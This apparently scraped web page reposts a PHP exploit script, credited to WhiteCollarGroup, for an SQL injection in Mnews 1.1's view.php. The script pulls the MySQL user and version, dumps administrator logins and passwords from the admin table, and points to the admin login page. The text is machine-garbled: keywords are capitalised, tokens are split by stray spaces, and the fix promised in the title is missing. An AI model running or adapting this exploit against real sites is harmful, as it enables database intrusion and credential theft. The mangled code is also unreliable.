Mnews & lt; = 1.1 (view. php) SQL injection and repair

Signature <? Php
/*
# Title: Mnews <= 1.1 SQL Injection
#: Http://phpbrasil.com/script/eo4aWVV_zFd/mnews-sistema-de-noticias
# Affected versions: 1.1
# Test System GNU/Linux, Windows 7 Ultimate
 
Example
$ Php mnews. php http://www.bkjia.com/scripts/mnews/
 
*/
 
Error_reporting (E_ERROR );
Set_time_limit (0 );
@ Ini_set ("default_socket_timeout", 30 );
 
Function hex ($ string ){
$ Hex = ''; // PHP 'dim' =]
For ($ I = 0; $ I <strlen ($ string); $ I ++ ){
$ Hex. = dechex (ord ($ string [$ I]);
}
Return '0x '. $ hex;
}
 
 
Echo "\ nMnews <= 1.1 SQL Injection exploit \ n ";
Echo "Discovered and written by WhiteCollarGroup \ n ";
Echo "www.wcgroup.host56.com-whitecollar_group@hotmail.com \ n ";
 
If ($ argc! = 2 ){
Echo "Usage: \ n ";
Echo "php $ argv [0] <target url> \ n ";
Echo "Example: \ n ";
Echo "php $ argv [0] http://www.bkjia.com/mnews0000n ";
Exit;
}
 
$ Target = $ argv [1];
If (substr ($ target, (strlen ($ target)-1 ))! = "/"){
$ Target. = "/";
}
$ Inject = $ target. "view. php? Id =-0 '% 20 ";
 
$ Token = uniqid ();
$ Token_hex = hex ($ token );
 
Echo "[*] Trying to get informations... \ n ";
$ Infos = file_get_contents ($ inject. urlencode ("union all select 1, concat (". $ token_hex. ", user (),". $ token_hex. ", version (),". $ token_hex. "), 3,4, 5 --"));
$ Infos_r = array ();
Preg_match_all ("/$ token (. *) $ token (. *) $ token/", $ infos, $ infos_r );
$ User = $ infos_r [1] [0];
$ Version = $ infos_r [2] [0];
If ($ user ){
Echo "[*] MySQL version: $ version \ n ";
Echo "[*] MySQL user: $ user \ n ";
} Else {
Echo "[-] Error while getting informations. \ n ";
}
 
Echo "[*] Getting users... \ n ";
$ I = 0;
While (true ){
$ Dados_r = array ();
$ Dados = file_get_contents ($ inject. urlencode ("union all select 1, concat (". $ token_hex. ", login ,". $ token_hex. ", senha ,". $ token_hex. "), 3,4, 5 from admin limit $ I, 1 --"));
Preg_match_all ("/$ token (. *) $ token (. *) $ token/", $ dados, $ dados_r );
$ Login = $ dados_r [1] [0];
$ Senha = $ dados_r [2] [0];
If ($ login) AND ($ senha )){
Echo "-+-\ n ";
Echo "User: $ login \ n ";
Echo "Pass: $ senha \ n ";
} Else {
Break;
}
$ I ++;
}
 
Echo "-+-\ n ";
If ($ I! = 0 ){
Echo "[!] Admin login: {$ target} gerencia/\ n ";
} Else {
Echo "[-] Exploit failed. Make sure that's server is using a valid version of Mnews without Apache mod_security. \ nWe're sorry .";
}
Echo "\ n ";